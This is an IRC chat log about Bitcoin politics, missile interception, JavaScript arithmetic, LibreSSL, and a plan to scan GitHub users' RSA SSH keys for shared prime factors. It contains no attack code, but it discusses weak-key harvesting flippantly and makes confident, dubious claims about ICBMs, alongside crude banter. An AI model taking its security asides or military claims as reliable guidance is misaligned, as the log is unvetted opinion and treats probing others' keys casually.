eth is the backup plan, turns out. lulzy shit. 1469151;1463704184;asciilifeform;uncooperative cn minerz will have 'accidental' fires, etc. 1469152;1463704190;mircea_popescu;anyway, asciilifeform, morale at the ant farm is exceptionally low. 1469153;1463704214;shinohai;I'd ask BA for a quote for Qntra, but he blocked me on twatter 1469154;1463704242;asciilifeform;mircea_popescu: the ants perhaps desire a stalingrad. 1469155;1463704249;mircea_popescu;they had gavin and all it took was a trilema post to turn him from st peter to a sort of dan quayle. it's not the sort of thing the grunts like to face. 1469156;1463704252;asciilifeform;'last conclusive push!1111' 1469157;1463704260;mircea_popescu;too used with the "we control the vertical, and the horizontal" usual fare. 1469158;1463704491;asciilifeform;i can picture black 'sectera' phone ringing on hitler's desk, 'ft meade, we need moar time, secp256k1 is still standing' 'lose the other division, or LOSE YERSELF!1211111' 1469159;1463704507;asciilifeform;'nein nein nein nein nein!111' 1469160;1463705109;asciilifeform;http://btcbase.org/log/2016-05-20#1469135 << explain this. i dun see how the cost of generating additional gavins is any higher now than in 2012 1469161;1463705109;a111;Logged on 2016-05-20 00:25 mircea_popescu: they had plans, none of which worked, their cost basis keeps exploding, which is not nice, 1469162;1463705258;asciilifeform;reddit vermin are an ~inexhaustible resource 1469163;1463705538;asciilifeform;and i don't see this 'quit and submit' thing ever being a thing 1469164;1463705546;asciilifeform;it is like expecting hitler to surrender 1469165;1463705553;asciilifeform;he knows that the noose is waiting 1469166;1463705573;asciilifeform;so it will be 1945 all over again, offers of 'separate peace' from himmlers, bormanns, etc. left and right 1469167;1463705626;asciilifeform;none of them adding up to ~anything 1469168;1463705651;asciilifeform;(and who in his right mind would strike any kind of agreement with a gavin or a preet!) 1469169;1463705661;shinohai;Preeeeeeeeeeeeeeeeeeeeet! 1469170;1463705669;asciilifeform;wants a craaaaaaaaacker 1469171;1463706126;mod6;haha 1469172;1463706138;mod6;think i should get off her first 1469173;1463706150;mod6;think she wants some water 1469174;1463706158;mod6;to put out the blow torch 1469175;1463706158;mircea_popescu;asciilifeform how the fuck are you going to generate "Aditional gavins" roflmao. 1469176;1463706167;mircea_popescu;had one, "fired", fizzled. 1469177;1463706190;mircea_popescu;ironically i fucking warned the idiots when they fired the hearn toothpick. but, too dumb to figure it out. 1469178;1463706211;asciilifeform;sooo they annoint another 1469179;1463706218;mircea_popescu;how ? 1469180;1463706219;asciilifeform;say, whatever dipshit wrote the earlier linked thing 1469181;1463706221;mircea_popescu;that guy was there then. 1469182;1463706233;mircea_popescu;they TRIED to anoint one, to great lulz. dr whateverthefuck. 1469183;1463706242;asciilifeform;so they take buterin. when he's spent, whoever the next one is. 1469184;1463706262;mircea_popescu;eh get out. not how this works. 1469185;1463706268;asciilifeform;they'll go up the cost ladder 1469186;1463706283;asciilifeform;pay, e.g., dan boneh, perhaps, to convincingly play a satoshi 1469187;1463706283;mircea_popescu;yaya. 1469188;1463706307;asciilifeform;literate folx are every bit as whore as the imbeciles, merely cost moar 1469189;1463706309;mircea_popescu;look, you're theoretically arguing about things in such a vague distant approach it's not worth the skinning. 1469190;1463706327;asciilifeform;hey it isn't as if i worked in hitler's bunker, my approach is necessarily indirect 1469191;1463706345;asciilifeform;but imho it is possible to say something useful re what will be tried. 1469192;1463706365;mircea_popescu;and if not necessarily useful, in any case entertaining. 1469193;1463706373;asciilifeform;aha! 1469194;1463706400;asciilifeform;i'd be curious, though, to meet a usg fauxtoshi who is willing to endure 5 minutes of my questions re trb src. 1469195;1463706405;asciilifeform;in public. 1469196;1463706408;mircea_popescu;heh. 1469197;1463706446;mircea_popescu;coming right next after the official usg libertard ideologue steps in here to prove to me how wrong i am about things and matters. 1469198;1463706496;asciilifeform;i've wondered often who precisely they paid, and how much, to set up even a basic 'first 6mo of trb'-level framework for them of understanding how the shitsoup even worx 1469199;1463706645;mircea_popescu;you want the job ? :D 1469200;1463706675;asciilifeform;well i already did the job. right here, for phreeeeee.... it isn't as if hitler doesn't read the l0gz 1469201;1463707006;asciilifeform;but, hilariously, 1469202;1463707031;asciilifeform;$rupturefarms was one of the places where usg bought 'algorithmic vulns' 1469203;1463707041;asciilifeform;for all i know, the folks in the next room were doing bitcoin. 1469204;1463707074;asciilifeform;(though chances are - not; it was not quite so classy) 1469205;1463710279;mircea_popescu;it's gonna be funny as we age, and all sorts of infantile derps are the #78589 satoshi 1469206;1463712038;mircea_popescu;https://ransomwaretracker.abuse.ch/ << apparently this emergent social behaviour is so big it warrants fansites and whatnot 1469207;1463712995;mircea_popescu;$google the war on the web 1469208;1463713013;*;deedbot hands you a broomstick. 1469209;1463713090;mircea_popescu; https://www.sott.net/article/318360-Russia-holding-the-line-to-prevent-total-global-war << re the missile shield thing 1469210;1463713214;mircea_popescu;truth be told, the scenario is rather plausible. the us has nowhere to turn. 1469211;1463713241;asciilifeform;http://btcbase.org/log/2016-05-20#1469206 >>> related >>> http://www.bleepingcomputer.com/news/security/teslacrypt-shuts-down-and-releases-master-decryption-key 1469212;1463713241;a111;Logged on 2016-05-20 02:40 mircea_popescu: https://ransomwaretracker.abuse.ch/ << apparently this emergent social behaviour is so big it warrants fansites and whatnot 1469213;1463713255;mircea_popescu;easier to explain to the peons why they can't have chocolate this week if there's an "all out total war" going 1469214;1463713277;mircea_popescu;asciilifeform aha 1469215;1463713407;*;mircea_popescu is kinda amused at all the "oh noes, nuclear war destroys planet as we know it". go for it boys, really. 1469216;1463713582;asciilifeform;mircea_popescu: sop since '49 1469217;1463713728;mircea_popescu;asciilifeform i vaguely suspect delivery actually worked better in 49 than it does today. 1469218;1463713737;asciilifeform;the subs work. 1469219;1463713759;mircea_popescu;i'd be surprised if they can usefully launch anything by this point. 1469220;1463713788;asciilifeform;i can't speak for usa, but ru regularly test-fires. 1469221;1463713810;asciilifeform;(and even have commercial spinoff for low orbit commercial payload on same) 1469222;1463713828;mircea_popescu;yaya. the mechanics of the thing are against them. you have a very visible (really, in the right spectrum it blots out the sun), slow moving large object. doing what. 1469223;1463713896;asciilifeform;launching from 200m under water ? 1469224;1463713902;asciilifeform;what sun. 1469225;1463713919;mircea_popescu;what, this is a submarine icbm ? travels underwater ? 1469226;1463713925;asciilifeform;vertically. 1469227;1463713955;mircea_popescu;aha. and once it's in air you can see it. 1469228;1463713969;asciilifeform;you have 2 min. to shoot. 1469229;1463713984;asciilifeform;hence the usg obsession with chemical lasers, etc. 1469230;1463714015;mircea_popescu;actually... it takes about half hour to cover its range. 1469231;1463714034;asciilifeform;depends from where. 1469232;1463714046;mircea_popescu;"to cover its range" is not origin dependent. 1469233;1463714049;asciilifeform;but unless you are shooting from ronny raygun's orbiting deathray, you have 2min. 1469234;1463714063;mircea_popescu;if memory serves, it goes for 10k kms at a top speed of maybe 20k km/h 1469235;1463714176;mircea_popescu;and whole shebang is made of fucking epoxy, if you can imagine that. all the structural integrity and shielding of chewing gum. 1469236;1463714186;asciilifeform;american. 1469237;1463714189;asciilifeform;ru - titanium. 1469238;1463714196;asciilifeform;but it is not designed to be shot, no. 1469239;1463714242;mircea_popescu;point remains, the item is in the air for half an hour, during which it is a larger source than anything in the sky in about a third of the spectrum. it weighs a hundred fucking tons, and is about as maneuvrable as a dead whale. 1469240;1463714251;mircea_popescu;how hard do you think it is to put a missile in its path ? 1469241;1463714268;asciilifeform;hard enough that bush's idiots couldn't do it unless the thing beaconed. 1469242;1463714284;mircea_popescu;i'm not particularly interested in defending the us from imaginary attacks 1469243;1463714292;mircea_popescu;it's quite certain who the rogue state is today. 1469244;1463714312;mircea_popescu;and for that matter - a nuke IS a fucking beacon. thermally even! 1469245;1463714323;asciilifeform;when pops 1469246;1463714329;asciilifeform;prior - only neutron. 1469247;1463714345;mircea_popescu;nah. it moves fast in air, large profile, it heats significantly. 1469248;1463714351;mircea_popescu;has none of the mitigation of "invisible" aircraft 1469249;1463714373;asciilifeform;in that sense yeah 1469250;1463714384;asciilifeform;but dummy barrel has same thermals as genuine nuke. 1469251;1463714391;asciilifeform;and costs 100x less. 1469252;1463714405;mircea_popescu;yeah, well, that's where the pain starts : it'd be a wonder if the whole nato fleet can launch a coupla dozen simultaneous. 1469253;1463714437;asciilifeform;at one point it was sop to use separating bus in the cone but supposedly now 'banned under treaty' 1469254;1463714443;asciilifeform;(i fuhget which) 1469255;1463714478;mircea_popescu;anyway. this whole thing... children threatening with holding their breath. 1469256;1463714602;mircea_popescu;fun factoid : the (only!) uk sub actually has a... mile long aerial in tow. 1469257;1463714607;mircea_popescu;visible from fucking sat. 1469258;1463714794;asciilifeform;uk is a joke, as described in l0gz 1469259;1463714799;asciilifeform;(in the uk-sub-leak thing) 1469260;1463714857;mircea_popescu;the us is moving towards it, not away. 1469261;1463714947;mircea_popescu;it's worth a lulz tho. they have to catch bbc or else it may be the case they should fire. 1469262;1463740406;Framedragger;http://trilema.com/2015/a-proper-social-site-for-the-bdsm-community/#comment-117298 1469263;1463740406;Framedragger;i want to write something like this, but dread the fact that i would have to review a shitton of shitty attempts. one approach, i guess, is to just dismiss those attempts, come up with a sane and straightforward design, and implementing without too much fuss... 1469264;1463740430;Framedragger;s/implementing/implement/ 1469265;1463741307;Framedragger;dunno, store/verify group membership via messages on OP_RETURNs (dunno if folks here frown upon storing data in OP_RETURNs) 1469266;1463744501;shinohai;;;later tell BingoBoingo http://ix.io/GCb 1469267;1463744502;gribble;The operation succeeded. 1469268;1463744724;shinohai;I kinda mangled that last sentence though. 1469269;1463753570;BingoBoingo; hard enough that bush's idiots couldn't do it unless the thing beaconed. << /me remembers that lulz 1469270;1463753661;BingoBoingo;shinohai: looking at it, will patch 1469271;1463753695;shinohai;kk thanx BingoBoingo 1469272;1463753757;BingoBoingo;shinohai: correction, When plea out, you aren't a militia hero anymore 1469273;1463753865;BingoBoingo;shinohai: Imma have to chop this up a bit moar. 1469274;1463753927;shinohai;Feel free ... take it and run. 1469275;1463753930;shinohai;>.> 1469276;1463754597;deedbot;[Qntra] One Oregon Liberator Pleas To Impeding Federal Officers - http://qntra.net/2016/05/one-oregon-liberator-pleas-to-impeding-federal-officers/ 1469277;1463754772;BingoBoingo;In other lulz http://qntra.net/2016/05/monsanto-embargoes-argentina-from-getting-dicamba-resistant-soybeans/#comment-59107 1469278;1463755088;BingoBoingo;Also https://www.reddit.com/r/farming/comments/4k1jyv/monsanto_embargoes_argentina_from_getting_dicamba/d3cfp01 1469279;1463755174;shinohai;^ Of course they'd say that THEY LIKE GOV SUBSIDIES 1469280;1463755204;mircea_popescu;Framedragger answer't 1469281;1463755250;mircea_popescu;well of course they do ? 1469282;1463755261;mircea_popescu;whole country exists entirely as an exercise in subsidy. 1469283;1463755275;mircea_popescu;govt "borrows" in europe, pours the cash into subsidies, defaults ; borrows more. 1469284;1463755279;mircea_popescu;it's usa 202. 1469285;1463755281;mircea_popescu;2020* 1469286;1463755465;*;BingoBoingo pretty happy with yesterday's string trimmer purchase. Just kinda regrets going cordless electric and not 2-cycle. 1469287;1463755513;mircea_popescu;baiting detected 1469288;1463755547;mircea_popescu;but speaking of reddit, check out how famous asciilifeform is : https://www.reddit.com/r/programming/comments/4hcvvi/200_pgp_keys_and_counting_publicly_broken/ 1469289;1463755548;mircea_popescu;i had no idea! 1469290;1463755554;asciilifeform;lel that's oooold 1469291;1463755564;asciilifeform;not even the one i posted, either 1469292;1463755583;asciilifeform;or hm 1469293;1463755584;asciilifeform;it is. 1469294;1463755585;asciilifeform;nm 1469295;1463755600;mircea_popescu;not that old 1469296;1463755628;asciilifeform;yeah this was the main thread 1469297;1463755653;asciilifeform;if you 'sort by new' you will see that it ends with 'warning!11111 they faked it all' 1469298;1463755714;asciilifeform;http://btcbase.org/log/2016-05-20#1469286 << BingoBoingo will be delighted to learn that when my father was a boy, his father bought a petrol-powered refrigerator. 1469299;1463755714;a111;Logged on 2016-05-20 14:44 BingoBoingo pretty happy with yesterday's string trimmer purchase. Just kinda regrets going cordless electric and not 2-cycle. 1469300;1463755729;asciilifeform;(possibly kerosene) 1469301;1463755760;mircea_popescu;asciilifeform i'll have to disabuse you of the notion that "the content" ie "what it says" matters in that context. 1469302;1463755767;BingoBoingo;Aha, those are still around here. Popular for hunting camps and barns. 1469303;1463755773;mircea_popescu;strictly a matter of numbers, any 800 vote / 300 comment thread is exactly equal to any other. 1469304;1463755794;asciilifeform;mircea_popescu: in the sense that one piece of rubbish is same as another ? 1469305;1463755809;BingoBoingo;asciilifeform: I ended up going cordless because I wanted the battery. 1469306;1463755811;mircea_popescu;in the sense that you don't sit around to sniff the anthill, but merely care how tall it is. 1469307;1463755838;asciilifeform;hm 1469308;1463755868;mircea_popescu;to the ants themselves they're distinct. 1469309;1463756042;asciilifeform;BingoBoingo: i will be passing through chicago soon, anything esp. interesting i ought to see ? 1469310;1463756065;BingoBoingo;The riverwalk. 1469311;1463756071;BingoBoingo;Preferably at night 1469312;1463756072;shinohai;r/btc "Our latest ad campaign got us 61 clicks, we're winning!!!!" https://i.imgur.com/i1kcOXt.png 1469313;1463756085;mircea_popescu;bejesus. 1469314;1463756117;mircea_popescu;for comparison, http://trilema.com/2016/files-from-the-war-on-the-web-today-pbnation/ yielded > 500 email responses. clicks not so countable. 1469315;1463756128;Framedragger;mircea_popescu: thanks, appreciate it. but damn does it depress me a bit, then 1469316;1463756129;BingoBoingo;asciilifeform: The river is the best place to throw up after drinking in the city 1469317;1463756134;Framedragger;"but guys this is gonna take fo-eva" 1469318;1463756145;Framedragger;"i just want a secure social site right nao" 1469319;1463756147;Framedragger;:( 1469320;1463756159;mircea_popescu;Framedragger this problem re-occurs here with some frequency. #trilema and tmsr generally are for adults. 1469321;1463756177;Framedragger;i'm gonna read more logs 1469322;1463756191;mircea_popescu;this means, a marathon, not a sprint ; and most things "people generally" count as a marathon here are still a sprint 1469323;1463756223;asciilifeform;mircea_popescu: more of an anabasis than marathon... 1469324;1463756230;Framedragger;("right nao" was much in jest... but yes...) 1469325;1463756240;mircea_popescu;anabasis being the one true marathon. yes, good point, i shoulda said that. 1469326;1463756240;Framedragger;more logs it is 1469327;1463756280;BingoBoingo;asciilifeform: Also consider seeing if you can get into Fermi lab 1469328;1463756293;asciilifeform;lel why would they let me in 1469329;1463756348;asciilifeform;i dun have my usg thrall face card no moar (and it was only good for dod ministries anyway) 1469330;1463756976;BingoBoingo;Oh then you could try to go see the site of that reator they built under the sportsball bleachers 1469331;1463757085;BingoBoingo;I think they just have a dumb statue there though. 1469332;1463757087;asciilifeform;yeah and if they let me into the white house i could play in the bowling alley. 1469333;1463757103;asciilifeform;what of it. 1469334;1463757124;BingoBoingo;Nah reactor was on University of Chicago campus, library where the stadium was 1469335;1463757144;mircea_popescu;you bowl ?! 1469336;1463757161;BingoBoingo;You could always just take the El to random southside neighborhoods or play "James Lafond Presents" 1469337;1463757175;asciilifeform;BingoBoingo: what's to do in random neighbourhoods ? 1469338;1463757178;asciilifeform;mircea_popescu: sure 1469339;1463757187;BingoBoingo;asciilifeform: Observe the fauna 1469340;1463757198;BingoBoingo;Chicago's kind of a shithole. 1469341;1463757216;mircea_popescu;what do you mean! it's a town so chic they put it in the name! chic-ago! 1469342;1463757217;BingoBoingo;Like New York if New York was aware of its small penis 1469343;1463757227;mircea_popescu;(anyone seen victor/victoria ?) 1469344;1463757304;BingoBoingo;Anyways best thing in CHicago isn't even in Chicago. Go down to Joilet and tour the old prison. 1469345;1463757333;BingoBoingo;They do guided tours 1469346;1463757371;mircea_popescu;asciilifeform incidentally, random guy on reddit points out to a very lulzy attack indeed. consider : you boot up 1k VMs running the same os, and upon boot-up you sshgen. how many keys share primes even if they are properly generated ? 1469347;1463757387;mircea_popescu;there's no way to check for this "multiplicity", it's essentially brainwallets-for-computers. 1469348;1463757403;mircea_popescu;we absoluely gotta get those ssh keys in there. jurov you actually working on it ? 1469349;1463757437;jurov;yes, going to prep the csv for download 1469350;1463757450;mircea_popescu;win. 1469351;1463757532;mircea_popescu;Moduli Waiting for Test: 20 << this is like... permanently. pretty incredible, so "the public" puts in keys at about the rate of 1 every 3 minutes for a month now ? 1469352;1463757569;asciilifeform;mircea_popescu: oh last night i cracked this enigma 1469353;1463757581;asciilifeform;take a careful look at the modulus count 1469354;1463757589;asciilifeform;it moves +5-6 a day 1469355;1463757606;mircea_popescu;right. i was just looking, 2 days ago it was 2151840 1469356;1463757610;asciilifeform;turns out folks are pushing the 'reload' button 1469357;1463757611;mircea_popescu;now it's 53 1469358;1463757615;asciilifeform;i'ma remove it today. 1469359;1463757618;mircea_popescu;oh. 1469360;1463757621;asciilifeform;it is literally worse than useless. 1469361;1463757623;mircea_popescu;nah, leave it, what's it cost you. 1469362;1463757631;asciilifeform;well it is entirely pointless 1469363;1463757635;mircea_popescu;so ? 1469364;1463757646;mircea_popescu;giving the web pointless buttons is what the web is all about. 1469365;1463757659;asciilifeform;yeah but it creates this strange picture of '19 moduli waiting...' eternally 1469366;1463757663;mircea_popescu;not putting more in deliberately is one thing ; but actually taking time to remove them... forget it, do it sometime when you do stuff with the site. 1469367;1463757667;mircea_popescu;i thought you hated interruptions. 1469368;1463757675;mircea_popescu;well now we know what it is, and otherwise, who cares. 1469369;1463757689;asciilifeform;next revision, i'ma pull it, it is silly 1469370;1463757754;mircea_popescu;logically. 1469371;1463757835;asciilifeform;http://btcbase.org/log/2016-05-20#1469346 << more interesting if you pin the time-of-day down. 1469372;1463757835;a111;Logged on 2016-05-20 15:16 mircea_popescu: asciilifeform incidentally, random guy on reddit points out to a very lulzy attack indeed. consider : you boot up 1k VMs running the same os, and upon boot-up you sshgen. how many keys share primes even if they are properly generated ? 1469373;1463757852;mircea_popescu;http://taint.org/2008/05/13/153959a.html << this is actually pretty fucking lulzy history. 1469374;1463757861;asciilifeform;(even a rubbish rng can masquerade as a usable one until you interate through the epochal times) 1469375;1463757879;mircea_popescu;asciilifeform but even as a very low effort thing you know, "everyone's on aws". and they all use the same fashionable shitstack. and there's... millions of them. 1469376;1463757893;mircea_popescu;this is like the anti-vaccine. not immunity through the herd, but insecurity through belonging to a herd. 1469377;1463757899;asciilifeform;mircea_popescu: noshit.jpg 1469378;1463757909;mircea_popescu;a process that'd have been perfectly safe on its own becomes deeply insecure when part of "the community". 1469379;1463757914;mircea_popescu;kinda how cannibalism actually works. 1469380;1463757948;asciilifeform;http://btcbase.org/log/2016-05-20#1469373 << this was hyped worldwide, but for some reason when it turned out that ~3 years of freebsd, ending some time last year, had NO ENTROPY in rng, it was ~nowhere. 1469381;1463757948;a111;Logged on 2016-05-20 15:24 mircea_popescu: http://taint.org/2008/05/13/153959a.html << this is actually pretty fucking lulzy history. 1469382;1463757964;mircea_popescu;lol 1469383;1463758295;mircea_popescu;lmao. i dunno why they have a page about how php sucks, and nothing about javascript. apparently you can't EVEN DO MATH in js (9007199254740993/28059810762433 === 321 is false). 1469384;1463758306;mircea_popescu;so it has alll the === lulz, but also... nonfunctioning arithmetic. 1469385;1463758341;asciilifeform;no ints, even. 1469386;1463758350;asciilifeform;(~nobody believes this when first told) 1469387;1463758355;mircea_popescu;well that's why nonfunctioning arithmetic. 1469388;1463758391;asciilifeform;famously described by... guess who, https://www.jwz.org/blog/2010/10/every-day-i-learn-something-new-and-stupid 1469389;1463758395;mircea_popescu;anyway Framedragger : just THAT fucks up permanently the notion of "crypto in javascript". 1469390;1463758408;mircea_popescu;it's ridiculous beyond belief, all crypto works with ints. 1469391;1463758434;mircea_popescu;it's field fucking arithmetic, not omfg engineering slide rule 1469392;1463758488;asciilifeform;mircea_popescu: recall the pgp in js demo ? 1469393;1463758497;mircea_popescu;vaguely ya 1469394;1463758500;asciilifeform;it had a massive, fuck-ugly kludge of int lib 1469395;1463758505;mircea_popescu;myeah. 1469396;1463758505;asciilifeform;to work around all of this 1469397;1463758516;mircea_popescu;it's just inhuman, this. 1469398;1463758537;Framedragger;"apparently you can't EVEN DO MATH in js" << yes yes YES :/ i knowz... that's why people want a web crypto api (crypto itself implemented in browser).. but the answer to your snarky follow-up "that just adds salt to the wound" is yes.. it's doomed 1469399;1463758568;Framedragger;goddamn language was designed in under two weeks 1469400;1463758582;mircea_popescu;Framedragger the ~only way you're going to end up with a web crypto api in browser is if you/someone builds the social media app discussed and then adds a html parser to it. 1469401;1463758584;Framedragger;and accidentally won the netscape wars. or whatever 1469402;1463758594;mircea_popescu;and make no mistake, i said it and i'll say it again : this is one of those moments. 1469403;1463758612;mircea_popescu;a properly made, functioning this will turn the "browser" period over, entirely and without respite. they'll become what the bbs are. 1469404;1463758618;mircea_popescu;all of them. it's a world ender. 1469405;1463758923;Framedragger;i hear you. i'm just thinking in more mundane/practical terms, "can i build X without waiting for the everything i'd need for X to also be rewritten" 1469406;1463758935;Framedragger;was thinking of simple html parser, too 1469407;1463758956;Framedragger;inside the thing 1469408;1463759061;Framedragger;i mean let's say one wouldn't depend on gnupg or anything like that. fine. use RSA. but with the (admirable) level of scrutiny employed herein, i'd be wary of even suggesting a single implementation of RSA which would not be shitty. i mean, there is libressl... 1469409;1463759113;Framedragger;libressl uses comic sans to deter web people and dummy hipsters. that in itself adds +10 in my book 1469410;1463759118;Framedragger;(half-kidding) 1469411;1463759195;mircea_popescu;heh. 1469412;1463759203;mircea_popescu;libs will be reviewed here ; post them. 1469413;1463759208;mircea_popescu;also, you looked into V any yet ? 1469414;1463759246;Framedragger;no but i've heard of it in logs. some approach to patching and (presumably) general version control? or more than that, even? 1469415;1463759273;*;Framedragger looks for reasons to hate git in logs. (spoiler, i don't hate git.. at least not yet) 1469416;1463759512;danielpbarron;git is what, social media masquerading as some sort of programming thing, not unlike how wikipedia is social media masquerading as an encyclopedia 1469417;1463759537;mircea_popescu;that's gihub 1469418;1463759543;mircea_popescu;git is linus' thing. 1469419;1463759587;Framedragger;every time git is confused for github, a kitten dies 1469420;1463759593;mircea_popescu;Framedragger read up on v, it's worth the read. more generally, you are ideologically naive, for which reason you're perhaps missing things. for instance, when i say "add a html parser" i do not mean "introduce support for THEIR definitioon of html". rather, i mean "create our own html, and by its presence passively force them to adapt or die". 1469421;1463759612;Framedragger;aha 1469422;1463759615;Framedragger;ok 1469423;1463759626;mircea_popescu;Framedragger actually, the process of creating github and then confusing git for github, aka embrace and extinguish / "rms-ing" is also amply discussed in teh logs :) 1469424;1463759662;mircea_popescu;anywya, once mod6 gets that T thing going we can actually create tickets for all this, which'll make the task less insane. 1469425;1463759677;mircea_popescu;there's at least a dozen disparate, independently useful items that go into a gossipd. 1469426;1463759684;Framedragger;k, i see the.. angle. i suppose you belief in them having to adapt or die comes from most of your endeavours of the kind succeeding? which - don't get me wrong - is very admirable - but, like, it requires napoleonic levels of confidence. not that it's bad in and of itself 1469427;1463759709;Framedragger;such new world order 1469428;1463759710;Framedragger;nice 1469429;1463759733;mircea_popescu;there's no argument to be had with functionality. not all the talk in the world ; nor all the money nor anything else can stand in front of something that functions. 1469430;1463759743;mircea_popescu;as long as your thing functions, that's that. 1469431;1463759806;mircea_popescu;to put this in context, perhaps http://trilema.com/2014/how-to-deal-with-pseudoscience/ is the best read. 1469432;1463759853;Framedragger;hm. i guess your notion of "adoption" is not like many others. i.e., it's not a matter of "whether majority of animals use it", but rather "whether majority of intelligent animals use it", or somesuch. because folks are also super lazy about switching from a broken thing to a more functional and better thing. case in point: much of enterprise software. (not that there may not be good gems there) 1469433;1463759858;Framedragger;ok 1469434;1463759868;mircea_popescu;but in short : it's not that ~my~ endeavours succeeding ; there's no personal flair involved here, nor any magic. it's that all the endeavours of a certain type will succeed. 1469435;1463759882;Framedragger;i've read quite a few articles but it's still, like, such a small amount 1469436;1463759890;Framedragger;right 1469437;1463759894;Framedragger;yeah i see 1469438;1463759933;mircea_popescu;and as to the other thing : numbers per se are meaningless. if there's a million truck drivers in the world, and 999`990 use a truck that does 10 mpg and i have 10 people using a truck that does 12 mpg, guess who'll be selling and who'll be buying trucking companies in the not so distant future. 1469439;1463759954;mircea_popescu;sure, some are hobbists, some may get (for some time, while that lasts) subsidies. 1469440;1463759977;mircea_popescu;but that's all temporary and a bandaid for a chainsaw wound. in the end, you don't see many oxcarts carrying freight today. 1469441;1463760013;mod6;<+mircea_popescu> anywya, once mod6 gets that T thing going we can actually create tickets for all this, which'll make the task less insane. << making daily progress! 1469442;1463760036;mircea_popescu;love you. 1469443;1463760041;mod6;<3 1469444;1463760044;Framedragger;(heheh in the beginning of that article are you basically quick-tutorialing people about the analytic/synthetic distinction (in a way)? i mean it's about the (possible existence of) truth-conditions of propositions with no reference, but it has this vibe to it) 1469445;1463760058;mircea_popescu;more or less. 1469446;1463760083;mircea_popescu;trilema is created as a "general purpose for literate people", so it contains lots of mini-versions of otherwise more seriously studied topics. 1469447;1463760302;Framedragger;yeah fair enough, regarding numbers, of course that makes sense. but social networks have this nagging thing of critical mass, sometimes. i know this is a naive viewpoint, but with e.g. networks which are for meets-and-greets, you know, location-based circles whatnot, it does require some amount of people for there to be more people. then again, maybe there are more smart folk around than i presume. though that's a dangerous assumption i 1469448;1463760423;Framedragger;but i probably overestimate the powa of the folk. 1469449;1463760426;mircea_popescu;i don't credit this "network effect" criticality thing. yes, people came up with that particular rebranding of panglossism to sell inept investors on why they should throw money away. it worked. that the sale pitch worked does not make the theory true. 1469450;1463760443;Framedragger;sure 1469451;1463760450;mircea_popescu;in historical terms, "all good things come to the port city", yes. until the port gets a sand bar. 1469452;1463760461;mircea_popescu;then they don't. whoopdedoo. 1469453;1463760624;mircea_popescu;the experience of myspace should be informative in this sense. "network effect" is valuable for as long as the median view is that it's cool people there ; once that goes away, all turner's billions can't fix the suddenly un-critical network effect. 1469454;1463760658;Framedragger;re. github, just fyi github is less.. hegemonic these days. gitlab is doing well, and that one's a bit less shit etc. this may sound like a partial solution to a fundamental problem, sure, but mh i dunno. 1469455;1463760672;mircea_popescu;also fyi, we're preparing to rape their ssh keys. 1469456;1463760683;Framedragger;whose? githubs? everyones? 1469457;1463760684;Framedragger;kewl 1469458;1463760715;Framedragger;oh i have some of those there.. but they're not important keys anyway. hey that sounds like a nice project 1469459;1463760766;mircea_popescu;well since phuctor has a bunch of rsa work already done ; converting github rsa keys to a usable format and checking them by the same process isn't that tall a step. 1469460;1463760777;Framedragger;ahhh hence the conversion effort 1469461;1463760785;mircea_popescu;right. 1469462;1463760790;Framedragger;noice. 1469463;1463760804;mircea_popescu;see above in log why i'm currently expecting to see some horrors. 1469464;1463760868;mircea_popescu;and now a linkdump for alf's colleciton : http://www.examiner.com/article/most-decorated-us-marine-general-purpose-of-all-us-wars-is-billions-for-insiders-profits http://www.washingtonsblog.com/2014/04/resolving-developed-nations-obvious-complicity-lie-started-us-war-crimes.html http://www.washingtonsblog.com/2014/03/2014-gallup-international-poll-us-1-threat-world-peace.html 1469465;1463761505;asciilifeform;lel 1469466;1463761514;asciilifeform;1st link 404s 1469467;1463761577;mircea_popescu;aww! 1469468;1463761588;asciilifeform;the rest - snore. 1469469;1463761641;mircea_popescu;https://panatmansam.tumblr.com/post/97152108836/most-decorated-us-marine-general-purpose-of-all << survives in snippets on the web. 1469470;1463761651;mircea_popescu;apparently he got phuctored :D 1469471;1463761731;asciilifeform;ah that butler 1469472;1463761738;mircea_popescu;yeah. 1469473;1463761745;asciilifeform;the one vs the anti-fdr coup 1469474;1463761751;mircea_popescu;aha. 1469475;1463761779;asciilifeform;http://www.ratical.org/ratville/CAH/warisaracket.html << complete text. enjoy. 1469476;1463761821;mircea_popescu;https://www.youtube.com/watch?v=F3_EXqJ8f-0 << even period video 1469477;1463761913;asciilifeform;'Airplane and engine manufacturers felt they, too, should get their just profits out of this war. Why not? Everybody else was getting theirs. So $1,000,000,000 -- count them if you live long enough -- was spent by Uncle Sam in building airplane engines that never left the ground! Not one plane, or motor, out of the billion dollars worth ordered, ever got into a battle in France. Just the same the manufacturers made their little profi 1469478;1463761913;asciilifeform;t of 30, 100, or perhaps 300 per cent.' << in case anyone thought this kind of thing were new. 1469479;1463761949;mircea_popescu;hey, gotta keep people interested. 1469480;1463762203;shinohai;How to get more rubble for your ruble? 1469481;1463762326;asciilifeform;shinohai: call saharov 1469482;1463762377;Framedragger;asciilifeform do you have an opinion on libressl? sorry if i'm pestering ya 1469483;1463762401;Framedragger;i mean it's a largish codebase, but in terms of general approach / effort. borne out of anger towards openssl, all that 1469484;1463762426;Framedragger;developed by openbsd folks 1469485;1463762435;asciilifeform;Framedragger: ~same crock of shit as openssl. 1469486;1463762439;asciilifeform;for same exact reasons. 1469487;1463762457;asciilifeform;(massive, unreadable c turd, with plenty of verbatim common with openssl) 1469488;1463762482;Framedragger;hmm. i suppose it's massive, yeah 1469489;1463762483;mircea_popescu;they've not really had time to do much at any rate ; how long ago did they split, a year ? 1469490;1463762513;Framedragger;two years, i think 1469491;1463762540;mircea_popescu;it's one of those cases where the team may be better than the codebase ; though honestly, the size of the matzah ball hanging on their head means that they'll prolly get crushed if haven't already 1469492;1463762542;Framedragger;they started by just choosing to prune certain features off of the beast , thereby removing some particularly bad parts 1469493;1463762559;Framedragger;could be a bit quoxotian 1469494;1463762563;mircea_popescu;(i've not much followed libressl, chiefly because anyone purporting to do crypto anything that's not in my wot is an outright fraud) 1469495;1463762566;Framedragger;*quixotian 1469496;1463762577;Framedragger;right, right 1469497;1463762634;mircea_popescu;kinda why "make a new html" comes in. there's really no reason to support the bullshit. correct move would have been to make a new ssh. 1469498;1463762651;asciilifeform;mircea_popescu: sorta what 'g' aims to be 1469499;1463762656;asciilifeform;(replace ssh) 1469500;1463762662;mircea_popescu;right 1469501;1463762691;mircea_popescu;ideally, one that doesn't support utf. (not necessarily utf per se - just an instantiation of the principle that features may be supported only if inexpensive enough.) 1469502;1463762725;Framedragger;have you folks considered making a god damn wiki of all these funky letters, or is that too socialist of an effort? :) 1469503;1463762739;mircea_popescu;there is a wiki, would benefit from more maintainer effort. 